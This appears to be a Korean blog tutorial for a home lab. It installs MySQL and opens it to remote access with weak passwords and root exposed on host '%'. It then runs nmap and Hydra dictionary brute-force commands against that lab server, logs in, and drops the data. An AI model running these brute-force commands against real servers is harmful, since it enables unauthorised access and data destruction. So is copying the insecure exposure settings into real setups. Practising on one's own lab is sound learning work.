프로그램개발/DB(MySQL,MariaDB,MongoDB)
칼리 리눅스(Kali Linex): Hydra - mysql brute force attack
크레도스
2019. 5. 7. 15:08
칼리 리눅스(Kali Linex): Hydra - mysql brute force attack
MySql : http://dev.mysql.com/
MySQL 설치 & 설정
0. VMware - 브리지 모드 -> 칼리 또는 민트 리눅스 실행
1. ip확인
ifconfig
2. mysql이 설치되어 있는지 패키지 확인
dpkg -l | grep mysql
3. 패키지 목록 갱신
sudo apt-get update
4. mysql 서버와 클라이언트 설치
sudo apt-get install mysql-server mysql-client
5. mysql 접속
mysql -u root -p
6. root의 비밀번호 변경과 외부에서 접속할 수 있도록 host 변경
show databases; : 데이터베이스 목록 보기
use mysql; : mysql 데이터베이스 사용
show tables; : mysql 데이터베이스의 테이블 목록 보기
select host, user, authentication_string from user; : user 테이블에서 해당 필드의 내용 보기
update user set authentication_string=password('test1234') where user='root'; : 비밀번호(test1234) 변경
update user set host='%' where user='root'; : 외부에서 접속할 수 있도록 host변경
flush privileges; : 변경사항 적용
select host, user, authentication_string from user; : user 테이블 데이터 조회
<MySQL 5.7 이전버전>
select host, user, password from user;
update user set password=password('test1234') where user='root';
'아이디'@'%' : 모든 접속 허용
'아이디'@'localhost' : localhost에서 접속을 하였을 경우만 허용 (127.0.0.1)
'아이디'@'192.168.0.10' : 192.168.0.10 에서만 접속 허용
7. 데이터베이스 만들기 (loveyou_db)
create database loveyou_db; : loveyou_db 데이터베이스 생성
show databases; : 데이터베이스 목록 보기
use loveyou_db; : loveyou_db 사용
drop database loveyou_db; : 데이터베이스 삭제
8. 테이블 만들기 : num_id, title, content 필드를 가진 loveyou_tb 생성
create table loveyou_tb(
num_id int not null primary key auto_increment,
title varchar(30) not null,
content text not null
);
desc loveyou_tb; : loveyou_tb 테이블의 구조(속성) 보기
drop table loveyou_tb; : 테이블 삭제
9. 데이터 입력
insert into loveyou_tb(title, content) values('hello', 'hi~'); : 데이터 hello, hi~ 입력
select * from loveyou_tb; : loveyou_tb의 모든 필드 데이터 조회
10. 사용자 loveyou를 만들고 데이터베이스의 모든 권한(*.*) 주기, 비밀번호 : love486
grant all privileges on *.* to 'loveyou'@'%' identified by 'love486'; : 모든데이터베이스(*).모든테이블(*)
use mysql; : mysql 데이터베이스 사용
select host, user, authentication_string from user; : user 테이블 데이터 조회
drop user loveyou; : 사용자 삭제
11. mysql 외부 허용 설정
netstat -an | grep 3306 : mysql 포트확인(3306)
a : 모든 연결 및 수신 대기 포트 표시
n : 주소와 포트 번호를 숫자로 표시
sudo xed /etc/mysql/my.cnf : 외부에서 접속할 수 있도록 my.cnf 수정 (gedit, leafpad)
[mysqld]
bind-address = 0.0.0.0 : 외부(모든 곳)에서 접속할 수 있도록 추가 또는 수정
sudo service mysql restart : mysql 서비스 재시작
MySQL 무차별 대입 공격
0. VMware - 브리지 모드 -> 칼리 리눅스 실행
1. ip 확인
ifconfig
2. 192.168.0.31의 mysql 포트(3306)가 열려있는지 스캔
nmap -sV 192.168.0.31
sV : 열려 있는 포트의 서비스와 버전정보 표시
3. root 와 loveyou 무차별 대입 공격
hydra -l root -P /root/Desktop/pw.txt -v -V -f 192.168.0.31 mysql : root 무차별 대입 공격
l : 아이디, L: 아이디 리스트 파일
p : 비빌번호, P: 비밀번호 사전파일
s : 포트
v : 자세히
V : login+pass 보여줌
f : 비밀번호를 발견하면 종료
t : 동시에 실행하는 작업수 (기본값 16)
# 아이디, 비밀번호 사전파일로 무차별 대입 공격
hydra -L /root/Desktop/id.txt -P /root/Desktop/pw.txt -v -V -f 192.168.0.31 mysql
4. 외부에서 mysql 접속 & 조회, 삭제
mysql -u loveyou -p -h 192.168.0.31 : mysql 접속
show databases; : 데이터베이스 목록 보기
use loveyou_db; : loveyou_db 사용
show tables; : 테이블 목록 보기
select * from loveyou_tb; : loveyou_tb 테이블 모든 필드 데이터 조회
drop database loveyou_db; : loveyou_db 삭제
drop user loveyou; : loveyou 삭제
# 새 사용자 loveyou 만들기
create user 'loveyou'@'%' identified by 'love486'; : 아이디:loveyou, 비밀번호:love486
# loveyou에게 모든데이터베이스(*)의 모든테이블(*) 권한주기 (데이터베이스명.테이블명)
grant all privileges on *.* to 'loveyou'@'%'; (with grant option/with admin option)
# loveyou에게 loveyou_db 데이터베이스의 모든 테이블에 대한 권한주기
grant all privileges on loveyou_db.* to 'loveyou'@'%';
# loveyou에게 권한 빼앗기
revoke all on *.* from 'loveyou'@'%';
# mysql 상태 보기
status;
# 오류 : ERROR 1396 (HY000): Operation CREATE USER failed
delete from user where user='loveyou';
이렇게 사용자를 삭제 하고 다시 같은 아이디로 사용자를 만들면 생기는 오류
drop user loveyou; 로 삭제하고 다시 생성
# 오류 : ERROR 1366 (HY000): Incorrect string value
한글이 insert 안되는 오류
set character set euckr;
alter database [테이터베이스 이름] charset utf8 collate utf8_general_ci;
alter table [테이블이름] charset utf8 collate utf8_general_ci;
그래도 안되면 아래의 한글설정 my.cnf 파일을 확인&수정하고
drop table [테이블명]; -> 테이블 다시 생성